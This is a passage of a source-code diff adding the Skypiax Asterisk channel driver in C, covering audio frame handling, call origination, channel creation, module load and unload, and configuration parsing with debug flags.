+  if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+    return &f;
+  }
+
+  if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
+    DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples,
+                 SAMPLES_PER_FRAME * sizeof(short));
+    usleep(100);
+    //do nothing
+  } else {
+    //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
+    /* A real frame */
+    f.frametype = AST_FRAME_VOICE;
+    f.subclass = AST_FORMAT_SLINEAR;
+    f.samples = SKYPIAX_FRAME_SIZE;
+    f.datalen = SKYPIAX_FRAME_SIZE * 2;
+    f.data = buf;
+    f.offset = AST_FRIENDLY_OFFSET;
+    f.src = skypiax_type;
+    f.mallocd = 0;
+
+    if (p->capture_boost)
+      skypiax_sound_boost(&f, p->capture_boost);
+  }
+
+  return &f;
+}
+
+/*! \brief Initiate skypiax call from PBX 
+ * used from the dial() application
+ */
+int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout)
+{
+  struct skypiax_pvt *p = NULL;
+  p = c->tech_pvt;
+  char rdest[80], *where, dstr[100] = "";
+  char *stringp = NULL;
+  int status;
+
+  if ((c->_state != SKYPIAX_STATE_DOWN)
+      && (c->_state != SKYPIAX_STATE_RESERVED)) {
+    ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n",
+           SKYPIAX_P_LOG, c->name);
+    return -1;
+  }
+
+  DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG,
+             idest, timeout);
+
+  strncpy(rdest, idest, sizeof(rdest) - 1);
+  stringp = rdest;
+  strsep(&stringp, "/");
+  where = strsep(&stringp, "/");
+  if (!where) {
+    ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n",
+           SKYPIAX_P_LOG, idest);
+    return -1;
+  }
+
+  strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
+  DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n",
+             SKYPIAX_P_LOG, idest, timeout, dstr);
+
+  strcpy(p->session_uuid_str, "dialing");
+  status = skypiax_call(p, dstr, timeout);
+  if (status) {
+    WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
+    return -1;
+  }
+
+  DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n",
+             SKYPIAX_P_LOG, idest, timeout, dstr);
+
+  ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
+  return 0;
+}
+
+int skypiax_sound_boost(struct ast_frame *f, double boost)
+{
+/* LUIGI RIZZO's magic */
+  if (boost != 0) {             /* scale and clip values */
+    int i, x;
+    int16_t *ptr = (int16_t *) f->data;
+    for (i = 0; i < f->samples; i++) {
+      x = (ptr[i] * boost) / BOOST_SCALE;
+      if (x > 32767) {
+        x = 32767;
+      } else if (x < -32768) {
+        x = -32768;
+      }
+      ptr[i] = x;
+    }
+  }
+  return 0;
+}
+
+/*! \brief Send audio frame to channel */
+int skypiax_write(struct ast_channel *c, struct ast_frame *f)
+{
+  struct skypiax_pvt *p = c->tech_pvt;
+  int sent;
+
+  if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+    return 0;
+  }
+  if (p->playback_boost)
+    skypiax_sound_boost(f, p->playback_boost);
+
+  sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
+  //skypiax_sound_write(p, f);
+
+  return 0;
+}
+
+/*! \brief  Fix up a channel:  If a channel is consumed, this is called.
+ * Basically update any ->owner links */
+int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan)
+{
+  struct skypiax_pvt *p = newchan->tech_pvt;
+
+  if (!p) {
+    ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
+    return -1;
+  }
+
+  if (p->owner != oldchan) {
+    ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
+    return -1;
+  }
+
+  p->owner = newchan;
+  return 0;
+}
+
+struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context)
+{
+  struct ast_channel *tmp;
+
+  /* alloc a generic channel struct */
+#ifndef ASTERISK_VERSION_1_4
+  tmp = ast_channel_alloc(1);
+#else
+  //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
+  //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
+  tmp =
+    ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
+
+#endif /* ASTERISK_VERSION_1_4 */
+  if (tmp) {
+
+    /* give a name to the newly created channel */
+#ifndef ASTERISK_VERSION_1_4
+    snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
+    tmp->type = skypiax_type;
+#else /* ASTERISK_VERSION_1_4 */
+    ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
+#endif /* ASTERISK_VERSION_1_4 */
+
+    DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name,
+               state);
+
+    /* fd for the channel to poll for incoming audio */
+    tmp->fds[0] = p->skypiax_sound_capt_fd;
+
+    /* audio formats managed */
+    tmp->nativeformats = AST_FORMAT_SLINEAR;
+    tmp->readformat = AST_FORMAT_SLINEAR;
+    tmp->writeformat = AST_FORMAT_SLINEAR;
+    /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
+    tmp->tech = &skypiax_tech;
+    /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
+    tmp->tech_pvt = p;
+
+    /* copy this interface default context, extension, language to the newly created channel */
+    if (strlen(p->context))
+      strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
+    if (strlen(p->exten))
+      strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
+#ifndef ASTERISK_VERSION_1_4
+    if (strlen(p->language))
+      strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
+#else
+    if (strlen(p->language))
+      ast_string_field_set(tmp, language, p->language);
+#endif /* ASTERISK_VERSION_1_4 */
+    /* copy the requested context (not necessarily the interface default) to the newly created channel */
+    if (strlen(context))
+      strncpy(tmp->context, context, sizeof(tmp->context) - 1);
+
+    /* copy this interface default callerid in the newly created channel */
+    ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
+                     !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL,
+                     !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
+
+    DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number,
+               p->callid_name);
+
+    /* the owner of this interface pvt is the newly created channel */
+    p->owner = tmp;
+    /* set the newly created channel state to the requested state */
+    if (ast_setstate(tmp, state)) {
+      ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+      //ast_dsp_free(p->dsp);
+      ast_channel_free(tmp);
+      return NULL;
+    }
+    /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
+    if (state != SKYPIAX_STATE_DOWN) {
+      DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
+      if (ast_pbx_start(tmp)) {
+        ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
+        ast_channel_free(tmp);
+        return NULL;
+      }
+    }
+    /* let's start the serial monitoring thread too, so we can have serial signaling */
+    if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) <
+        0) {
+      ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
+      ast_channel_free(tmp);
+      tmp = NULL;
+    }
+    DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
+                  (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP,
+                  (unsigned long) AST_PTHREADT_NULL);
+
+    /* add one to the usage count of Skypiax-type channels */
+    LOKKA(&skypiax_usecnt_lock);
+    skypiax_usecnt++;
+    UNLOCKA(&skypiax_usecnt_lock);
+    ast_update_use_count();
+
+    /* return the newly created channel */
+    return tmp;
+  }
+  ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
+  return NULL;
+}
+
+/*!
+ * \brief Load the module into Asterisk and start its threads
+ *
+ * This function register the module into Asterisk,
+ * create the interfaces for the channels, 
+ * start the auxiliary threads for the interfaces,
+ * then start a monitor thread. The monitor thread
+ * will signal Asterisk when an interface receive a call.
+ *
+ *
+ * \return zero on success, -1 on error.
+ */
+int load_module(void)
+{
+  int i;
+  struct ast_config *cfg;
+  struct skypiax_pvt *tmp;
+  struct skypiax_pvt *p = NULL;
+  struct skypiax_pvt *p2 = NULL;
+#ifdef ASTERISK_VERSION_1_6
+  struct ast_flags config_flags = { 0 };
+#endif /* ASTERISK_VERSION_1_6 */
+
+#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
+#ifndef __CYGWIN__
+  if (!XInitThreads())
+    ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
+#endif /* __CYGWIN__ */
+#if 0
+  ast_register_atexit(skypiax_disconnect);
+  ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis,
+                           skype2skypiaxdescrip);
+  ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis,
+                           skypiax2skypedescrip);
+#endif
+#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
+
+  /* make sure we can register our channel type with Asterisk */
+  i = ast_channel_register(&skypiax_tech);
+  if (i < 0) {
+    ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
+    return -1;
+  }
+  /* load skypiax.conf config file */
+#ifdef ASTERISK_VERSION_1_6
+  cfg = ast_config_load(skypiax_config, config_flags);
+#else
+  cfg = ast_config_load(skypiax_config);
+#endif /* ASTERISK_VERSION_1_6 */
+  if (cfg != NULL) {
+    char *ctg = NULL;
+    int is_first_category = 1;
+    while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
+      /* create one interface for each category in skypiax.conf config file, first one set the defaults */
+      tmp = skypiax_mkif(cfg, ctg, is_first_category);
+      if (tmp) {
+        DEBUGA_PBX
+          ("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'"
+           "\n", SKYPIAX_P_LOG, ctg, tmp->name);
+        /* add interface to skypiax_iflist */
+        tmp->next = skypiax_iflist;
+        skypiax_iflist = tmp;
+        /* next one will not be the first ;) */
+        if (is_first_category == 1) {
+          is_first_category = 0;
+          skypiax_console_active = tmp->name;
+        }
+      } else {
+        ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n",
+               SKYPIAX_P_LOG, ctg);
+        /* if error, unload config from memory and return */
+        ast_config_destroy(cfg);
+        ast_channel_unregister(&skypiax_tech);
+        return -1;
+      }
+      /* do it for each category described in config */
+    }
+
+    /* we finished, unload config from memory */
+    ast_config_destroy(cfg);
+  } else {
+    ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
+    ast_channel_unregister(&skypiax_tech);
+    return -1;
+  }
+#ifndef ASTERISK_VERSION_1_6
+  ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
+#endif /* ASTERISK_VERSION_1_6 */
+  /* start to monitor the interfaces (skypiax_iflist) for the first time */
+  if (skypiax_restart_monitor()) {
+    ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+    return -1;
+  }
+  /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
+  p = skypiax_iflist;
+  while (p) {
+    int i;
+    /* for each interface in list */
+    p2 = p->next;
+    NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
+    i = 0;
+    while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) {  // 60sec FIXME
+      usleep(1000);
+      i++;
+    }
+    if (p->SkypiaxHandles.api_connected) {
+      NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
+    } else {
+      ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
+      running = 0;
+      return -1;
+    }
+    /* next one, please */
+    p = p2;
+  }
+  return 0;
+}
+
+/*!
+ * \brief Unload the module from Asterisk and shutdown its threads
+ *
+ * This function unregister the module from Asterisk,
+ * destroy the interfaces for the channels, 
+ * shutdown the auxiliary threads for the interfaces,
+ * then shutdown its monitor thread.
+ *
+ * \return zero on success, -1 on error.
+ */
+int unload_module(void)
+{
+  struct skypiax_pvt *p = NULL, *p2 = NULL;
+  int res;
+
+  /* unregister our channel type with Asterisk */
+  ast_channel_unregister(&skypiax_tech);
+  ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
+
+#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
+#ifndef __CYGWIN__
+  //FIXME what to do? if (!XInitThreads())
+  //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
+#endif /* __CYGWIN__ */
+#if 0
+  ast_unregister_atexit(skypiax_disconnect);
+  ast_unregister_application(skype2skypiaxapp);
+  ast_unregister_application(skypiax2skypeapp);
+#endif
+#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
+
+  /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
+  LOKKA(&skypiax_monlock);
+  if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
+      && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
+    if (pthread_cancel(skypiax_monitor_thread)) {
+      ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
+      return -1;
+    }
+    if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
+      DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG);   //maybe it just died
+    }
+#ifndef __CYGWIN__              /* under cygwin, this seems to be not reliable, get stuck at times */
+    if (pthread_join(skypiax_monitor_thread, NULL)) {
+      ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+      return -1;
+    }
+#endif /* __CYGWIN__ */
+  }
+  skypiax_monitor_thread = AST_PTHREADT_STOP;
+  UNLOCKA(&skypiax_monlock);
+
+  if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
+      && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
+
+    if (pthread_cancel(skypiax_monitor_audio_thread)) {
+      ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
+    }
+    if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
+      DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG);  //maybe it just died
+    }
+
+    if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
+      ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+    }
+  }
+  /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
+  LOKKA(&skypiax_iflock);
+  p = skypiax_iflist;
+  while (p) {
+    /* for each interface in list */
+    p2 = p->next;
+    /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
+    DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
+    res = skypiax_sound_shutdown(p);
+    if (res == -1) {
+      ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
+    }
+#if 0
+    /* if a dsp struct has been allocated, free it */
+    if (p->dsp) {
+      ast_dsp_free(p->dsp);
+      p->dsp = NULL;
+    }
+#endif
+    DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
+    /* free the pvt allocated memory */
+    free(p);
+    /* next one, please */
+    p = p2;
+  }
+  /* finished with the interfaces list, unlock the skypiax_iflock */
+  UNLOCKA(&skypiax_iflock);
+
+#ifdef __CYGWIN__
+  NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
+  sleep(5);                     /* without this pause, for some unknown (to me) reason it crashes on cygwin */
+#endif /* __CYGWIN__ */
+  NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
+  return 0;
+}
+
+/*!
+ * \brief Return the count of active channels for this module
+ *
+ * \return the count of active channels for this module
+ */
+int usecount()
+{
+  int res;
+  static struct skypiax_pvt *p = &skypiax_log_struct;
+/* lock the skypiax_usecnt lock */
+  LOKKA(&skypiax_usecnt_lock);
+  /* retrieve the skypiax_usecnt */
+  res = skypiax_usecnt;
+/* unlock the skypiax_usecnt lock */
+  UNLOCKA(&skypiax_usecnt_lock);
+  /* return the skypiax_usecnt */
+  return res;
+}
+
+/*!
+ * \brief Return the textual description of the module
+ *
+ * \return the textual description of the module
+ */
+char *description()
+{
+  return (char *) skypiax_desc;
+}
+
+/*!
+ * \brief Return the ASTERISK_GPL_KEY
+ *
+ * \return the ASTERISK_GPL_KEY
+ */
+char *key()
+{
+  struct skypiax_pvt *p = NULL;
+
+  NOTICA("Returning Key\n", SKYPIAX_P_LOG);
+
+  return ASTERISK_GPL_KEY;
+}
+
+/*!
+ * \brief Create and initialize one interface for the module
+ * \param cfg pointer to configuration data from skypiax.conf
+ * \param ctg pointer to a category name to be found in cfg
+ * \param is_first_category is this the first category in cfg
+ *
+ * This function create and initialize one interface for the module
+ *
+ * \return a pointer to the PVT structure of interface on success, NULL on error.
+ */
+struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category)
+{
+  struct skypiax_pvt *tmp;
+  struct ast_variable *v;
+  int res;
+
+  int debug_all = 0;
+  int debug_at = 0;
+  int debug_fbus2 = 0;
+  int debug_serial = 0;
+  int debug_sound = 0;
+  int debug_pbx = 0;
+  int debug_skype = 0;
+  int debug_call = 0;
+  int debug_locks = 0;
+  int debug_monitorlocks = 0;
+
+  ast_log(LOG_DEBUG, "ENTERING FUNC\n");
+  /* alloc memory for PVT */
+  tmp = malloc(sizeof(struct skypiax_pvt));
+  if (tmp == NULL) {            /* fail */
+    return NULL;
+  }
+  /* clear memory for PVT */
+  memset(tmp, 0, sizeof(struct skypiax_pvt));
+
+  /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
+  if (is_first_category == 1) {
+    /* for each variable in category, copy it in the skypiax_default struct */
+    for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+      M_START(v->name, v->value);
+
+      M_STR("context", skypiax_default.context)
+        M_STR("language", skypiax_default.language)
+        M_STR("extension", skypiax_default.exten)
+        M_F("playback_boost",
+            skypiax_store_boost(v->value, &skypiax_default.playback_boost))
+        M_F("capture_boost",
+            skypiax_store_boost(v->value, &skypiax_default.capture_boost))
+        M_UINT("skypiax_dir_entry_extension_prefix",
+               skypiax_default.skypiax_dir_entry_extension_prefix)
+        M_END(;);
+    }
+  }
+
+  /* initialize the newly created PVT from the skypiax_default values */
+  *tmp = skypiax_default;
+
+  /* the category name becomes the interface name */
+  tmp->name = strdup(ctg);
+
+  /* for each category in config file, "first" included, read in ALL the values */
+  for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+    M_START(v->name, v->value);
+
+    M_BOOL("debug_all", debug_all)
+      M_BOOL("debug_at", debug_at)
+      M_BOOL("debug_fbus2", debug_fbus2)
+      M_BOOL("debug_serial", debug_serial)
+      M_BOOL("debug_sound", debug_sound)
+      M_BOOL("debug_pbx", debug_pbx)
+      M_BOOL("debug_skype", debug_skype)
+      M_BOOL("debug_call", debug_call)
+      M_BOOL("debug_locks", debug_locks)
+      M_BOOL("debug_monitorlocks", debug_monitorlocks)
+      M_BOOL("skype", tmp->skype)
+      M_STR("context", tmp->context)
+      M_STR("language", tmp->language)
+      M_STR("extension", tmp->exten)
+      M_STR("X11_display", tmp->X11_display)
+      M_UINT("tcp_cli_port", tmp->tcp_cli_port)
+      M_UINT("tcp_srv_port", tmp->tcp_srv_port)
+      M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
+      M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
+      M_STR("skype_user", tmp->skype_user)
+      M_UINT("skypiax_dir_entry_extension_prefix",
+             tmp->skypiax_dir_entry_extension_prefix)
+      M_END(;);
+  }
+
+  if (debug_all) {
+    skypiax_debug = skypiax_debug | DEBUG_ALL;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_fbus2) {
+    skypiax_debug = skypiax_debug | DEBUG_FBUS2;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_serial) {
+    skypiax_debug = skypiax_debug | DEBUG_SERIAL;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_sound) {
+    skypiax_debug = skypiax_debug | DEBUG_SOUND;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_pbx) {
+    skypiax_debug = skypiax_debug | DEBUG_PBX;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_skype) {
+    skypiax_debug = skypiax_debug | DEBUG_SKYPE;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_call) {
+    skypiax_debug = skypiax_debug | DEBUG_CALL;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_locks) {
+    skypiax_debug = skypiax_debug | DEBUG_LOCKS;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (debug_monitorlocks) {
+    skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
+    if (!option_debug) {
+      WARNINGA
+        ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
+         SKYPIAX_TMP_LOG);
+    } else {
+      NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
+    }
+  }
+
+  if (option_debug > 1) {
+    DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
+    DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
+  }
+/* initialize the soundcard channels (input and output) used by this interface (a multichannel soundcard can be used by multiple interfaces), optionally starting the sound managing threads */
+  res = skypiax_sound_init(tmp);
+  if (res == -1) {
+    ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
+    /* we failed, free the PVT */
+    free(tmp);
+    return NULL;
+  }
+  /*
+     res = pipe(tmp->SkypiaxHandles.fdesc);
+     if (res) {
+     ast_log(LOG_ERROR, "Unable to create skype pipe\n");
+     if (option_debug > 10) {
+     DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+     }
+     free(tmp);
+     return NULL;
+     }
+     fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+     fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+   */
+  tmp->skype_thread = AST_PTHREADT_NULL;
+
+  if (tmp->skype) {
+    ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+            (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
+            (unsigned long) AST_PTHREADT_NULL);
+#ifdef __CYGWIN__
+    if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      free(tmp);
+      return NULL;
+    }
+#else /* __CYGWIN__ */
+#ifdef WANT_SKYPE_X11
+    ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
+    if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      free(tmp);
+      return NULL;
+    }
+#endif /* WANT_SKYPE_X11 */
+#endif /* __CYGWIN__ */
+    usleep(100000);             //0.1 sec
+    if (tmp->skype_thread == AST_PTHREADT_NULL) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      free(tmp);
+      return NULL;
+    }
+    ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
+            (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
+            (unsigned long) AST_PTHREADT_NULL);
+  }
+#if 0
+  if (tmp->skype) {
+#if 0
+    if (option_debug > 1)
+      ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+              (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
+              (unsigned long) AST_PTHREADT_NULL);
+#endif
+#ifdef __CYGWIN__
+    if (ast_pthread_create
+        (&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      if (option_debug > 10) {
+        DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+      }
+      free(tmp);
+      return NULL;
+    }
+#else /* __CYGWIN__ */
+#ifdef WANT_SKYPE_X11
+    if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) <
+        0) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      if (option_debug > 10) {
+        DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+      }
+      free(tmp);
+      return NULL;
+    }
+#endif /* WANT_SKYPE_X11 */
+#endif /* __CYGWIN__ */
+    usleep(100000);             //0.1 sec
+    if (tmp->skype_thread == AST_PTHREADT_NULL) {
+      ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+      if (option_debug > 10) {
+        DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+      }
+      free(tmp);
+      return NULL;
+    }
+    if (option_debug > 1)
+      ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
+              (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP,
+              (unsigned long) AST_PTHREADT_NULL);
+  }
+#endif
+
+  /* return the newly created skypiax_pvt */
+  return tmp;
+}
+
+/*! \brief (Re)Start the module main monitor thread, watching for incoming calls on the interfaces */
+int skypiax_restart_monitor(void)
+{
+  static struct skypiax_pvt *p = &skypiax_log_struct;
+
+  /* If we're supposed to be stopped -- stay stopped */
+  if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
+    return 0;
+  }
+  LOKKA(&skypiax_monlock);
+  /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
+  if (skypiax_monitor_thread == pthread_self()) {
+    UNLOCKA(&skypiax_monlock);
+    ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
+    return -1;
+  }
+  /* if the monitor thread exists */
